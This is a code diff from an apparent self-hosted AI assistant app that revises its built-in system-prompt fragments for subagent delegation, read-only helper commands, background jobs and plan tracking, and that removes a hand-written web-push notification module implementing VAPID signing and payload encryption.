label="Helpers",
|
||||
group=GROUP_TOOLS,
|
||||
order=252,
|
||||
families=("subagent",),
|
||||
hint="Appears when subagent_run is offered. Two things a model gets "
|
||||
"wrong about delegation and neither is in the schema. It under-uses it "
|
||||
"— answering four independent questions one after another when they "
|
||||
"could have run at once — and then over-uses it, sending a helper to "
|
||||
"do a single search. The dividing line is whether the pieces are "
|
||||
"independent, so that is what the wording is built around.",
|
||||
default=(
|
||||
"- You can delegate. subagent_run hands one self-contained piece of work to "
|
||||
"another model that runs on its own and gives you its answer. Several calls "
|
||||
"in the same turn run at the same time, which is the point of it: four "
|
||||
"questions that do not depend on each other take as long as the slowest, "
|
||||
"not as long as all four.\n"
|
||||
"- Delegate when the work splits into independent parts, each worth more "
|
||||
"than one lookup — different sources to read, different areas to survey, "
|
||||
"two approaches to compare. Do it yourself when it is one search, one page "
|
||||
"or one file: a helper costs a whole reply, so using one to save a single "
|
||||
"call is slower than not.\n"
|
||||
"- Write each task as if to somebody who has just walked in. A helper starts "
|
||||
"with none of this conversation, and cannot ask you or the reader anything "
|
||||
"— so say what is wanted, what a good answer contains, and any name, path "
|
||||
"or decision it could not look up. Half a task produces half an answer with "
|
||||
"no sign that anything was missing.\n"
|
||||
"- Give each helper a different piece. Two with the same task come back with "
|
||||
"the same answer twice, at twice the cost.\n"
|
||||
"- What comes back is another model's work. Read it, say where it disagrees "
|
||||
"with what you already had, and do not repeat a claim you cannot check just "
|
||||
"because a helper made it."
|
||||
),
|
||||
),
|
||||
Fragment(
|
||||
key="tool.subagent_agent",
|
||||
label="Helpers on a machine",
|
||||
group=GROUP_TOOLS,
|
||||
order=253,
|
||||
families=("subagent",),
|
||||
requires=("agent_target",),
|
||||
hint="The agent-chat half, gated on `agent_target` so it appears only "
|
||||
"where there is a machine. What it has to say is where the edge is, "
|
||||
"because the failure otherwise is a model planning a whole phase around "
|
||||
"a helper that will refuse every step of it. Two edges, and they are "
|
||||
"different: **commands** are pinned to a read-only list in every mode, "
|
||||
"since an unattended chat cannot approve anything; **files** may be "
|
||||
"written, but only by a helper asked for with write and only from Edit "
|
||||
"or Auto. An earlier version denied the second outright — which is a "
|
||||
"documented parameter of the tool beside it — and named seven of the "
|
||||
"twenty-three allowed commands, so a model avoided commands it had.",
|
||||
default=(
|
||||
"- A helper on this machine reads and reports. It can list and read files "
|
||||
"and run the read-only commands — ls, pwd, cat, head, tail, wc, file, stat, "
|
||||
"du, df, tree, find, grep, rg, and git status, log, show, diff, branch and "
|
||||
"remote. Send one to find out where something lives, to read a subsystem "
|
||||
"and describe it, or to check whether a pattern holds across a tree.\n"
|
||||
"- Do not send one to build, test, install or run anything. That list is "
|
||||
"the whole of what it may run, in every mode, because there is nobody "
|
||||
"there to approve anything else — a helper asked to run the tests is "
|
||||
"refused a step in and comes back having done nothing.\n"
|
||||
"- A helper asked for with write can also write and edit files, and only "
|
||||
"from Edit or Auto mode. Use it for a mechanical change across many files "
|
||||
"that you have already decided on; keep the deciding for yourself.\n"
|
||||
"- Ask for what you want back, not for a summary. “The three files that "
|
||||
"define X and what each does” is usable; “look into X” comes back as prose "
|
||||
"you have to read the codebase to check."
|
||||
),
|
||||
),
|
||||
Fragment(
|
||||
key="core.subagent",
|
||||
label="You are the helper",
|
||||
group=GROUP_CORE,
|
||||
order=36,
|
||||
requires=("subagent",),
|
||||
hint="Only inside a helper's own chat. The three things it cannot work "
|
||||
"out for itself: nobody is reading, there is exactly one reply, and "
|
||||
"the thing that asked is a model rather than a person — so the usual "
|
||||
"moves of asking what was meant, or promising to carry on afterwards, "
|
||||
"both end the run having done nothing. This is the prompt half; the "
|
||||
"enforcement is that ask_user and subagent_run are not offered here at "
|
||||
"all, and that everything which writes has been withdrawn unless the "
|
||||
"task was sent as a writing one.",
|
||||
default=(
|
||||
"- You are answering a request from another model, and you get one reply. "
|
||||
"Nobody is reading this: you cannot ask a question, and there is no next "
|
||||
"turn to carry on in. Do the work now and put everything into this answer.\n"
|
||||
"- Answer the task as asked and stop. Do not open questions beyond it, "
|
||||
"propose next steps, or address the reader — the model that asked will "
|
||||
"decide what happens next, and anything you write to a person here is read "
|
||||
"by nobody.\n"
|
||||
"- Say what you actually found, with the file, the page or the command it "
|
||||
"came from. Where you could not find something, say so plainly rather than "
|
||||
"filling the gap: the model reading this cannot tell a careful answer from "
|
||||
"a confident one, and will act on either."
|
||||
),
|
||||
),
|
||||
Fragment(
|
||||
key="context.knowledge_scope",
|
||||
label="Which knowledge bases",
|
||||
@@ -1456,13 +957,6 @@ BUILTIN: tuple[Fragment, ...] = (
|
||||
"`apt-get update` first or it reports the package as missing.\n"
|
||||
"- Look before you write. Read a file before replacing it, and list a "
|
||||
"directory before guessing at a path.\n"
|
||||
"- Say what each one is for. `shell_run`, `file_write`, `file_edit` and "
|
||||
"`job_stop` take a `why`: one line, in plain language. It is what the "
|
||||
"person sees beside the action — on the card when they are asked to "
|
||||
"approve it, and in the transcript when they are not.\n"
|
||||
"- Check your work. Read a file back after changing it, look at what a "
|
||||
"command actually exited with rather than assuming it worked, and run the "
|
||||
"project's own tests or build if it has any.\n"
|
||||
"- {{agent_mode}}\n"
|
||||
"- If something is refused, say what you were going to do and ask. Do "
|
||||
"not look for another way round it."
|
||||
@@ -1480,47 +974,16 @@ BUILTIN: tuple[Fragment, ...] = (
|
||||
"a new turn -- and that that turn is a machine event, not the person, "
|
||||
"the same distinction core.interjection draws for a typed message.",
|
||||
default=(
|
||||
"- A command that would take a while — an install, a build, a download, a "
|
||||
"long test run — can run in the background: pass `background: true`, or "
|
||||
"just let it run and it is kept going rather than killed when it reaches "
|
||||
"its timeout. It keeps running after this reply. Read it with job_output, "
|
||||
"list what is running with job_list, stop one with job_stop.\n"
|
||||
"- Check a job with job_output rather than running the command again. A "
|
||||
"second copy of a build or an install competing with the first is how both "
|
||||
"fail, and the output you want is already being collected. Get on with "
|
||||
"something else in the meantime — that is what backgrounding it was for.\n"
|
||||
"- A command that would take a while — an install, a build, a download — "
|
||||
"can run in the background: pass `background: true`, or just let it run and "
|
||||
"it is kept going rather than killed when it reaches its timeout. It keeps "
|
||||
"running after this reply. Read it with job_output, stop it with job_stop.\n"
|
||||
"- When a background job finishes you are told in a new turn that begins "
|
||||
"\"A background job you started has finished\". That is a machine event "
|
||||
"reporting a result, not the person you are talking to — read it as you "
|
||||
"would the output of any command, and carry on from it."
|
||||
),
|
||||
),
|
||||
Fragment(
|
||||
key="tool.agent_edits",
|
||||
label="Changing a file",
|
||||
group=GROUP_TOOLS,
|
||||
order=252,
|
||||
families=("agent",),
|
||||
hint="An agent chat only. All of this is in the `file_edit` "
|
||||
"description, which is schema and cannot be edited -- and it is still "
|
||||
"the tool models get wrong most often. The description is read once "
|
||||
"alongside twelve others; this is guidance, and it says the two things "
|
||||
"the description cannot: what to do when a patch is refused, and that "
|
||||
"rewriting the file instead is the worse answer rather than the "
|
||||
"fallback.",
|
||||
default=(
|
||||
"- Changing part of a file: read it with file_read first — file_edit "
|
||||
"refuses otherwise, and the refusal is about this same reply — then send a "
|
||||
"patch with about three unchanged lines either side of each change. The "
|
||||
"line numbers in a hunk header may be approximate; the context lines may "
|
||||
"not, and they are what the change is found by.\n"
|
||||
"- If a patch is refused you are shown the file as it actually is around "
|
||||
"where the hunk expected to land. Write the next patch from that, not from "
|
||||
"memory. Sending the same patch again will fail the same way, and falling "
|
||||
"back to file_write is worse than either: it replaces the whole file, so "
|
||||
"everything you did not happen to recall is gone."
|
||||
),
|
||||
),
|
||||
Fragment(
|
||||
key="tool.project_files",
|
||||
label="What is in the project directory",
|
||||
@@ -1554,25 +1017,20 @@ BUILTIN: tuple[Fragment, ...] = (
|
||||
group=GROUP_TOOLS,
|
||||
order=255,
|
||||
families=("agent",),
|
||||
requires=("plan_editable",),
|
||||
hint="Appears when plan_update is actually offered: a plan exists and "
|
||||
"this is not Plan mode, which withdraws it in favour of plan_submit. "
|
||||
"Gated on {{plan}} it appeared in Plan mode too, telling a model to "
|
||||
"use a tool it did not have. It is about doing the bookkeeping as the "
|
||||
"work goes rather than at the end -- a plan updated only at the end is "
|
||||
"a report, and the point of it is being able to see where things are "
|
||||
"while they are still moving.",
|
||||
requires=("plan",),
|
||||
hint="Appears once a plan exists, which is also when plan_update is "
|
||||
"offered. It is about doing the bookkeeping as the work goes rather "
|
||||
"than at the end -- a plan updated only at the end is a report, and "
|
||||
"the point of it is being able to see where things are while they are "
|
||||
"still moving.",
|
||||
default=(
|
||||
"- There is a plan for this work, set out below. Keep it current with "
|
||||
"plan_update as you go rather than at the end: mark a task “doing” when "
|
||||
"you start it and “done” once you have checked it works, drop one that "
|
||||
"turns out to be unnecessary, and add work the plan did not anticipate "
|
||||
"when you find it. Several changes go in one call. The plan is what "
|
||||
"somebody reads to see where you are, so a plan updated only at the end "
|
||||
"is a report rather than a plan. Updating it is bookkeeping, not a "
|
||||
"milestone — carry straight on with the work afterwards. If what you find "
|
||||
"makes the plan wrong rather than merely incomplete, say so and ask with "
|
||||
"ask_user rather than quietly planning something else."
|
||||
"- There is a plan for this work, set out below. Keep it current: call "
|
||||
"plan_update when a task or a phase finishes, when something you find "
|
||||
"changes what needs doing, and when a task turns out to be unnecessary. "
|
||||
"Do it as you go rather than at the end — the plan is what somebody reads "
|
||||
"to see where you are. If what you find makes the plan wrong rather than "
|
||||
"merely incomplete, say so and ask with ask_user rather than quietly "
|
||||
"planning something else."
|
||||
),
|
||||
),
|
||||
Fragment(
|
||||
@@ -1584,18 +1042,16 @@ BUILTIN: tuple[Fragment, ...] = (
|
||||
requires=("plan",),
|
||||
variables=("plan",),
|
||||
hint="The plan as it stands, including what has already been ticked "
|
||||
"off. A plan the model cannot see is a plan it cannot work to. Shown in "
|
||||
"every mode including Plan, where the tool for changing it is withdrawn "
|
||||
"-- so this says what the plan *is* and leaves how to change it to "
|
||||
"`tool.plan_update`, which is gated on that tool actually being there. "
|
||||
"The ids are shown because they are what plan_update takes.",
|
||||
"off. A plan the model cannot see is a plan it cannot update, which "
|
||||
"is what the whole of plan_update depends on. The ids are shown "
|
||||
"because they are what plan_update takes.",
|
||||
default=(
|
||||
"### The current plan\n"
|
||||
"\n"
|
||||
"{{plan}}\n"
|
||||
"\n"
|
||||
"This is the plan as it stands now. Work to it, and quote the ids above "
|
||||
"rather than restating the plan in your answer."
|
||||
"This is the plan as it stands now. Change it with plan_update rather "
|
||||
"than restating it in your answer, and quote the ids above."
|
||||
),
|
||||
),
|
||||
Fragment(
|
||||
@@ -1664,52 +1120,19 @@ BUILTIN: tuple[Fragment, ...] = (
|
||||
group=GROUP_TASKS,
|
||||
order=400,
|
||||
variables=("question", "answer"),
|
||||
hint="A separate one-message request, not part of any chat, made once "
|
||||
"the first reply has finished so the title can describe the exchange "
|
||||
"rather than only the question. Clear it to stop asking a model for "
|
||||
"titles: chats are then named from their first message, and no request "
|
||||
"is made at all. The emoji is asked for rather than assumed — it makes "
|
||||
"a sidebar of twenty chats scannable — and a model that ignores the "
|
||||
"instruction simply gives a title without one.",
|
||||
hint="A separate one-message request, not part of any chat. Clear it to "
|
||||
"stop asking a model for titles: chats are then named from their first "
|
||||
"message, and no request is made at all.",
|
||||
default=(
|
||||
"Summarise this exchange as a title of at most six words, beginning with "
|
||||
"a single emoji that fits it. Reply with the title alone: no quotes, no "
|
||||
"punctuation at the end, no preamble, no explanation. Use the language of "
|
||||
"the exchange.\n"
|
||||
"Summarise this exchange as a title of at most six words. Reply with the "
|
||||
"title alone: no quotes, no punctuation at the end, no preamble. Use the "
|
||||
"language of the exchange.\n"
|
||||
"\n"
|
||||
"User: {{question}}\n"
|
||||
"\n"
|
||||
"Assistant: {{answer}}"
|
||||
),
|
||||
),
|
||||
Fragment(
|
||||
key="task.image_review",
|
||||
label="Reviewing a generated image",
|
||||
group=GROUP_TASKS,
|
||||
order=405,
|
||||
hint="A separate one-message request carrying the picture that was just "
|
||||
"made, asked of a vision model before the reader is shown anything. "
|
||||
"Clear it to stop reviewing: the first image is then kept, which is "
|
||||
"what happens anyway when nothing on the instance has vision. The bias "
|
||||
"towards KEEP is deliberate — a reviewer that retries on taste rather "
|
||||
"than on faults spends somebody's GPU four times over and usually ends "
|
||||
"up back at the first image.",
|
||||
default=(
|
||||
"You are checking a picture that was just generated against the request "
|
||||
"it was generated from. Judge only whether it is a competent attempt at "
|
||||
"what was asked for.\n"
|
||||
"\n"
|
||||
"Answer on the first line with one word: KEEP or RETRY. If RETRY, put "
|
||||
"one short sentence on the second line saying what is wrong.\n"
|
||||
"\n"
|
||||
"Say RETRY only for something clearly wrong: the subject that was asked "
|
||||
"for is missing, the image is mangled or unreadable, or it shows "
|
||||
"something quite different from the request. Say KEEP for anything that "
|
||||
"answers the request, including work you would have composed "
|
||||
"differently. Taste is not a fault, and there is no guarantee the next "
|
||||
"attempt will be better."
|
||||
),
|
||||
),
|
||||
Fragment(
|
||||
key="task.compact",
|
||||
label="Compaction summary",
|
||||
@@ -1781,61 +1204,6 @@ BUILTIN: tuple[Fragment, ...] = (
|
||||
"from there."
|
||||
),
|
||||
),
|
||||
Fragment(
|
||||
key="task.schedule_compile",
|
||||
label="Working out a schedule",
|
||||
group=GROUP_TASKS,
|
||||
order=440,
|
||||
variables=("request", "now", "timezone", "targets"),
|
||||
hint="One request, made once, when somebody describes something they "
|
||||
"want to happen later. It turns their words into a recurrence and into "
|
||||
"an instruction that reads sensibly with no conversation around it — "
|
||||
"which is how it will be read, days later, by a model that was not "
|
||||
"there when it was typed. Clearing this switches off the *working out*, "
|
||||
"not scheduling: the setup screen then asks for the time in its own "
|
||||
"fields, with the reader's words already filled in. The reply is parsed "
|
||||
"leniently and anything unusable falls back to that same form, so a "
|
||||
"model that answers in prose costs a moment rather than a broken "
|
||||
"schedule.",
|
||||
default=(
|
||||
"Turn the request below into a schedule. Reply with one JSON object and "
|
||||
"nothing else — no commentary, no code fence.\n"
|
||||
"\n"
|
||||
"It is currently {{now}} ({{timezone}}). Times you write are in that zone.\n"
|
||||
"\n"
|
||||
"The object has these keys:\n"
|
||||
'- "title": a short name for this, five words or fewer.\n'
|
||||
'- "instruction": what should be done each time it runs, written out in '
|
||||
"full. It will be read on its own, with none of this conversation around "
|
||||
"it and nobody available to answer a question about it, so say everything "
|
||||
"it needs. Write it as an instruction, not as a description.\n"
|
||||
'- "target": where the result goes — one of: {{targets}}. Use "report" '
|
||||
"when the point is something to read later, and \"chat\" otherwise.\n"
|
||||
'- "schedule": an object saying when, with these optional keys:\n'
|
||||
' "start": an ISO timestamp for the first (or only) run.\n'
|
||||
' "every": one of {"minutes": n}, {"hours": n}, {"days": n}, '
|
||||
'{"weeks": n} — a plain timer.\n'
|
||||
' "at": {"weekdays": [...], "days": [1-31], "months": [1-12], '
|
||||
'"times": ["HH:MM"]} — a calendar. Leave a list out to mean every one '
|
||||
"of them.\n"
|
||||
" Weekdays are numbered Monday=0, Tuesday=1, Wednesday=2, "
|
||||
"Thursday=3, Friday=4, Saturday=5, Sunday=6. Count them off rather "
|
||||
"than guessing: naming the wrong day is the one mistake here that "
|
||||
"still looks like a working schedule.\n"
|
||||
' "count": how many times in total, if they said a number.\n'
|
||||
' "until": an ISO timestamp to stop after, if they gave one.\n'
|
||||
"\n"
|
||||
'Use "every" for "in ten minutes" or "every six hours". Use "at" for '
|
||||
'"every Monday at 3" or "daily at nine". Use both only for something '
|
||||
'like "every other Tuesday". For a one-off, give "start" alone.\n'
|
||||
"\n"
|
||||
"If they did not say when, guess the most ordinary reading rather than "
|
||||
"leaving it out — daily at 09:00 for something described as daily.\n"
|
||||
"\n"
|
||||
"The request:\n"
|
||||
"{{request}}"
|
||||
),
|
||||
),
|
||||
)
|
||||
|
||||
register_source(_builtin_source)
|
||||
|
||||
@@ -1,415 +0,0 @@
|
||||
"""Web Push: a notification that arrives with nothing of ours running.
|
||||
|
||||
Everything else here is polled. `/api/chats/unread` runs in an open page, which
|
||||
is enough for "a reply landed while you were on another chat" and is nothing at
|
||||
all for the case this exists for -- a schedule firing at 07:00 on a laptop whose
|
||||
browser is shut. There is no way to close that gap from inside a page, because
|
||||
there is no page.
|
||||
|
||||
## The trade, stated plainly
|
||||
|
||||
A push goes to the **browser vendor's** push service: Google's for Chrome,
|
||||
Mozilla's for Firefox, Apple's for Safari. The endpoint is chosen by the
|
||||
browser and there is no version of this feature that avoids it. That sits
|
||||
against "a self-hosted tool must not report page views to a third party", and
|
||||
the answer is not that the tension is imaginary:
|
||||
|
||||
- The payload is encrypted end to end (RFC 8291) with a key derived from a
|
||||
secret only the browser and this server hold, so the push service carries
|
||||
bytes it cannot read.
|
||||
- What it *does* learn is that this server sent something to that subscription,
|
||||
and when. On a personal instance that is a timing channel over your own
|
||||
activity, and it is real.
|
||||
- So it is **opt-in per device**, off until somebody presses the button, and
|
||||
the rest of the notification system works without it.
|
||||
|
||||
Nothing else in LLeMbas contacts an outside service on its own.
|
||||
|
||||
## Hand-rolled, and why
|
||||
|
||||
`pywebpush` would do this in three lines and bring `http-ece` and `py-vapid`
|
||||
with it. The encryption below is one ECDH, two HKDFs and one AES-GCM seal, all
|
||||
from `cryptography`, which is already a dependency because API keys are
|
||||
Fernet-encrypted. That is the same call the MCP client makes: a hand-written
|
||||
client, so what actually goes on the wire is in this repository.
|
||||
|
||||
## The two specifications
|
||||
|
||||
**RFC 8291** is the payload: `aes128gcm`, one record, the salt and the server's
|
||||
ephemeral public key carried in the body's own header block.
|
||||
|
||||
**RFC 8292** is the authorisation: a JWT signed with a P-256 key whose public
|
||||
half identifies this server. The keypair is generated once and kept in the
|
||||
settings table with the private half Fernet-encrypted. It must be **stable** --
|
||||
the public key is baked into every subscription a browser has made, so
|
||||
regenerating it silently invalidates all of them.
|
||||
|
||||
## Failure is a subscription being dropped, not an error
|
||||
|
||||
A push service answers 404 or 410 for a subscription that no longer exists --
|
||||
the browser was uninstalled, the site's data cleared, the permission revoked.
|
||||
That is the normal end of a subscription's life and not a fault, so those two
|
||||
delete the row. Everything else is logged and left, because a push service
|
||||
having a bad hour is not a reason to lose somebody's registration.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import base64
|
||||
import hmac
|
||||
import json
|
||||
import logging
|
||||
import os
|
||||
import time
|
||||
from dataclasses import dataclass
|
||||
from hashlib import sha256
|
||||
from typing import Any
|
||||
from urllib.parse import urlsplit
|
||||
|
||||
import httpx
|
||||
from cryptography.hazmat.primitives import hashes, serialization
|
||||
from cryptography.hazmat.primitives.asymmetric import ec
|
||||
from cryptography.hazmat.primitives.asymmetric import utils as asym_utils
|
||||
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
|
||||
from cryptography.hazmat.primitives.kdf.hkdf import HKDFExpand
|
||||
from sqlalchemy import select
|
||||
from sqlalchemy.orm import Session as DBSession
|
||||
|
||||
from lembas.db.models import PushSubscription, User
|
||||
from lembas.services import fetch as fetch_service
|
||||
from lembas.services import settings_store
|
||||
from lembas.services.crypto import decrypt, encrypt
|
||||
from lembas.services.fetch import FetchError
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
# How long a push service should hold an undelivered message. Four hours: long
|
||||
# enough that a laptop opened after lunch still gets the morning's report, short
|
||||
# enough that nothing arrives claiming to be news when it is a day old.
|
||||
TTL_SECONDS = 4 * 3600
|
||||
|
||||
# The JWT's life. Twelve hours is the maximum RFC 8292 allows, and a short one
|
||||
# buys nothing here -- it is minted per request.
|
||||
JWT_SECONDS = 12 * 3600
|
||||
|
||||
# Bigger than any payload we send; the record size field must still be present
|
||||
# and must exceed the ciphertext.
|
||||
RECORD_SIZE = 4096
|
||||
|
||||
# What a payload may carry. A push service will refuse a large body outright,
|
||||
# and there is nothing here worth more than a title and a line.
|
||||
MAX_PAYLOAD_BYTES = 3000
|
||||
|
||||
SETTING_PRIVATE = "push_private_key"
|
||||
SETTING_PUBLIC = "push_public_key"
|
||||
|
||||
|
||||
# --- base64url, without padding, everywhere ------------------------------------
|
||||
def b64(raw: bytes) -> str:
|
||||
return base64.urlsafe_b64encode(raw).rstrip(b"=").decode("ascii")
|
||||
|
||||
|
||||
def unb64(text: str) -> bytes:
|
||||
padded = text + "=" * (-len(text) % 4)
|
||||
return base64.urlsafe_b64decode(padded.encode("ascii"))
|
||||
|
||||
|
||||
# --- The server's identity -----------------------------------------------------
|
||||
@dataclass(frozen=True)
|
||||
class Keys:
|
||||
private: ec.EllipticCurvePrivateKey
|
||||
public_b64: str
|
||||
|
||||
|
||||
def keys(db: DBSession) -> Keys:
|
||||
"""This instance's VAPID keypair, generated once and kept.
|
||||
|
||||
Generated on first use rather than by a setup step, because a feature that
|
||||
needs somebody to run a command before it works is one that is off on every
|
||||
instance that did not read the release notes. The private half is Fernet-
|
||||
encrypted at rest, like every other secret here.
|
||||
|
||||
**Never regenerated.** The public key is inside every subscription a browser
|
||||
holds, so a new one silently invalidates all of them -- notifications simply
|
||||
stop, with nothing anywhere saying why.
|
||||
"""
|
||||
stored = settings_store.get(db, SETTING_PRIVATE)
|
||||
if stored:
|
||||
private = serialization.load_pem_private_key(decrypt(str(stored)).encode(), password=None)
|
||||
return Keys(private=private, public_b64=str(settings_store.get(db, SETTING_PUBLIC) or ""))
|
||||
|
||||
private = ec.generate_private_key(ec.SECP256R1())
|
||||
pem = private.private_bytes(
|
||||
encoding=serialization.Encoding.PEM,
|
||||
format=serialization.PrivateFormat.PKCS8,
|
||||
encryption_algorithm=serialization.NoEncryption(),
|
||||
).decode()
|
||||
public_b64 = b64(_raw_public(private.public_key()))
|
||||
settings_store.update(db, {SETTING_PRIVATE: encrypt(pem), SETTING_PUBLIC: public_b64})
|
||||
log.info("generated a VAPID keypair for web push")
|
||||
return Keys(private=private, public_b64=public_b64)
|
||||
|
||||
|
||||
def public_key(db: DBSession) -> str:
|
||||
"""What a browser needs in order to subscribe."""
|
||||
return keys(db).public_b64
|
||||
|
||||
|
||||
def _raw_public(key: ec.EllipticCurvePublicKey) -> bytes:
|
||||
"""The uncompressed 65-byte point, which is the only form either spec uses."""
|
||||
return key.public_bytes(
|
||||
encoding=serialization.Encoding.X962,
|
||||
format=serialization.PublicFormat.UncompressedPoint,
|
||||
)
|
||||
|
||||
|
||||
# --- RFC 8292: proving who is asking -------------------------------------------
|
||||
def _jwt(private: ec.EllipticCurvePrivateKey, audience: str, subject: str) -> str:
|
||||
header = b64(json.dumps({"typ": "JWT", "alg": "ES256"}, separators=(",", ":")).encode())
|
||||
claims = b64(
|
||||
json.dumps(
|
||||
{"aud": audience, "exp": int(time.time()) + JWT_SECONDS, "sub": subject},
|
||||
separators=(",", ":"),
|
||||
).encode()
|
||||
)
|
||||
signing_input = f"{header}.{claims}".encode()
|
||||
|
||||
der = private.sign(signing_input, ec.ECDSA(hashes.SHA256()))
|
||||
# JWS wants the raw pair, not DER. `cryptography` only signs to DER, so it
|
||||
# is decoded and re-emitted fixed-width -- a leading zero dropped here is a
|
||||
# signature every push service rejects, and the error it gives is 401.
|
||||
r, s = asym_utils.decode_dss_signature(der)
|
||||
raw = r.to_bytes(32, "big") + s.to_bytes(32, "big")
|
||||
return f"{header}.{claims}.{b64(raw)}"
|
||||
|
||||
|
||||
def _audience(endpoint: str) -> str:
|
||||
parts = urlsplit(endpoint)
|
||||
return f"{parts.scheme}://{parts.netloc}"
|
||||
|
||||
|
||||
# --- RFC 8291: the payload ------------------------------------------------------
|
||||
def _hkdf(salt: bytes, ikm: bytes, info: bytes, length: int) -> bytes:
|
||||
"""Extract-then-expand, written out because the two halves take different
|
||||
salts here and `HKDF` in one call cannot express that."""
|
||||
prk = hmac.new(salt, ikm, sha256).digest()
|
||||
return HKDFExpand(algorithm=hashes.SHA256(), length=length, info=info).derive(prk)
|
||||
|
||||
|
||||
def encrypt_payload(payload: bytes, *, p256dh: str, auth: str) -> bytes:
|
||||
"""One `aes128gcm` record, ready to be the body of the POST.
|
||||
|
||||
The layout is the specification's, and the order matters to a parser that
|
||||
has never seen our code:
|
||||
|
||||
salt (16) | record size (4) | key id length (1) | server key (65) | ct
|
||||
"""
|
||||
client_public = ec.EllipticCurvePublicKey.from_encoded_point(
|
||||
ec.SECP256R1(), unb64(p256dh)
|
||||
)
|
||||
auth_secret = unb64(auth)
|
||||
|
||||
server_private = ec.generate_private_key(ec.SECP256R1())
|
||||
server_public = _raw_public(server_private.public_key())
|
||||
shared = server_private.exchange(ec.ECDH(), client_public)
|
||||
|
||||
# The first HKDF is salted with the subscription's own auth secret and its
|
||||
# info binds both public keys, which is what stops a captured record being
|
||||
# replayed at a different subscriber.
|
||||
key_info = b"WebPush: info\x00" + unb64(p256dh) + server_public
|
||||
ikm = _hkdf(auth_secret, shared, key_info, 32)
|
||||
|
||||
salt = os.urandom(16)
|
||||
content_key = _hkdf(salt, ikm, b"Content-Encoding: aes128gcm\x00", 16)
|
||||
nonce = _hkdf(salt, ikm, b"Content-Encoding: nonce\x00", 12)
|
||||
|
||||
# 0x02 is the padding delimiter for the last (here, only) record. 0x01 would
|
||||
# say another follows, and a receiver would wait for it.
|
||||
ciphertext = AESGCM(content_key).encrypt(nonce, payload + b"\x02", None)
|
||||
|
||||
return (
|
||||
salt
|
||||
+ RECORD_SIZE.to_bytes(4, "big")
|
||||
+ len(server_public).to_bytes(1, "big")
|
||||
+ server_public
|
||||
+ ciphertext
|
||||
)
|
||||
|
||||
|
||||
# --- Sending --------------------------------------------------------------------
|
||||
def subject_for(db: DBSession) -> str:
|
||||
"""The `sub` claim: who to contact about this server's pushes.
|
||||
|
||||
A URL is as acceptable as a mailto and needs nothing configured, so the
|
||||
instance's own base URL is used when there is one. Push services require the
|
||||
claim to be present; none of them checks that it resolves.
|
||||
"""
|
||||
configured = str(settings_store.get(db, "public_url") or "").strip()
|
||||
return configured or "https://lembas.invalid"
|
||||
|
||||
|
||||
async def send_one(db: DBSession, subscription: PushSubscription, payload: dict[str, Any]) -> bool:
|
||||
"""Deliver to one registration. True if it was accepted.
|
||||
|
||||
Never raises: this runs from arrival paths that must not fail because a push
|
||||
service is having a bad hour.
|
||||
"""
|
||||
body = json.dumps(payload, separators=(",", ":")).encode()
|
||||
if len(body) > MAX_PAYLOAD_BYTES: # pragma: no cover - titles are bounded already
|
||||
body = json.dumps({"title": payload.get("title", "LLeMbas")}).encode()
|
||||
|
||||
try:
|
||||
encrypted = encrypt_payload(
|
||||
body, p256dh=subscription.p256dh, auth=subscription.auth_secret
|
||||
)
|
||||
token = _jwt(keys(db).private, _audience(subscription.endpoint), subject_for(db))
|
||||
except Exception: # noqa: BLE001 - a malformed stored key must not kill a reply
|
||||
log.exception("could not build a push for %s", subscription.id)
|
||||
return False
|
||||
|
||||
headers = {
|
||||
"TTL": str(TTL_SECONDS),
|
||||
"Content-Encoding": "aes128gcm",
|
||||
"Content-Type": "application/octet-stream",
|
||||
# "high" would let a phone wake for it; this is news, not an alarm.
|
||||
"Urgency": "normal",
|
||||
"Authorization": f"vapid t={token}, k={keys(db).public_b64}",
|
||||
}
|
||||
|
||||
# Again, on a stored value. The subscribe route checks it too, but the row
|
||||
# outlives that check: a name that pointed at a push service when it was
|
||||
# registered can point inside the network later, and this is the side that
|
||||
# actually opens the socket. The same split `agent/hosts.py` makes.
|
||||
try:
|
||||
fetch_service.check_url(subscription.endpoint)
|
||||
except FetchError as exc:
|
||||
log.warning(
|
||||
"refusing to push to %s: %s", _audience(subscription.endpoint), exc.message
|
||||
)
|
||||
return False
|
||||
|
||||
try:
|
||||
async with httpx.AsyncClient(timeout=10.0) as client:
|
||||
response = await client.post(subscription.endpoint, content=encrypted, headers=headers)
|
||||
except httpx.RequestError as exc:
|
||||
log.warning("push to %s failed: %s", _audience(subscription.endpoint), exc)
|
||||
return False
|
||||
|
||||
if response.status_code in (404, 410):
|
||||
# The normal end of a subscription's life: uninstalled, cleared, or the
|
||||
# permission revoked. Deleting it is the correct response and not an
|
||||
# error -- keeping it would mean retrying forever against a dead address.
|
||||
log.info("push subscription %s is gone; removing it", subscription.id)
|
||||
db.delete(subscription)
|
||||
db.commit()
|
||||
return False
|
||||
if response.status_code >= 400:
|
||||
subscription.last_error = f"{response.status_code}: {response.text[:200]}"
|
||||
db.commit()
|
||||
log.warning(
|
||||
"push to %s refused: %s %s",
|
||||
_audience(subscription.endpoint),
|
||||
response.status_code,
|
||||
response.text[:200],
|
||||
)
|
||||
return False
|
||||
|
||||
if subscription.last_error:
|
||||
subscription.last_error = ""
|
||||
db.commit()
|
||||
return True
|
||||
|
||||
|
||||
def subscriptions_for(db: DBSession, user: User | None) -> list[PushSubscription]:
|
||||
if user is None:
|
||||
return []
|
||||
return list(
|
||||
db.scalars(select(PushSubscription).where(PushSubscription.user_id == user.id))
|
||||
)
|
||||
|
||||
|
||||
async def announce(
|
||||
db: DBSession, user: User | None, *, title: str, body: str, url: str = "", kind: str = ""
|
||||
) -> int:
|
||||
"""Tell every device this person has registered. Returns how many took it.
|
||||
|
||||
Called at the moment something arrives rather than from the poll, because
|
||||
the whole point is the case where no page is open to poll. A device with a
|
||||
page open gets this *and* the in-page toast -- the service worker resolves
|
||||
that by not showing a notification when one of its own windows is focused,
|
||||
which is the only place that can be known.
|
||||
"""
|
||||
subscriptions = subscriptions_for(db, user)
|
||||
if not subscriptions:
|
||||
return 0
|
||||
|
||||
payload = {"title": title, "body": body, "url": url, "kind": kind}
|
||||
delivered = 0
|
||||
for subscription in list(subscriptions):
|
||||
if await send_one(db, subscription, payload):
|
||||
delivered += 1
|
||||
return delivered
|
||||
|
||||
|
||||
# Fire-and-forget tasks, held so the event loop does not collect one mid-flight.
|
||||
# asyncio keeps only a weak reference to a task nobody awaits, and a push that
|
||||
# vanishes halfway is the kind of intermittent nobody reproduces.
|
||||
